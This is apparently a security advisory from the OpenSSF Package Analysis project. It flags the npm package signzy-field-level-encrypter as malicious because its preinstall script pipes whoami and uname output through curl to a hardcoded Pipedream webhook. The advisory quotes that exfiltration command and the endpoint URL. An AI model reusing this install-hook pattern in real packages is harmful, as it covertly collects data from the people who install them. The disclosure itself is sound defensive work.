MAL-2026-10972 Malicious code in signzy-field-level-encrypter (npm)

package.json declares a preinstall lifecycle script that runs echo "$(whoami): $(uname -a)" | curl -X POST against a hardcoded Pipedream webhook at https://eob8pyiw2d4hxvk.m.pipedream.net. On npm install, the installer's OS username and kernel/architecture/hostname fingerprint are captured and transmitted to an author-controlled endpoint without consent or opt-out. The destination is a generic Pipedream request-bin, not infrastructure related to any legitimate field-level-encryption purpose the package name implies.

The OpenSSF Package Analysis project identified 'signzy-field-level-encrypter' @ 12.9.13 (npm) as malicious.

It is considered malicious because:

• The package communicates with a domain associated with malicious activity.

• The package executes one or more commands associated with malicious behavior.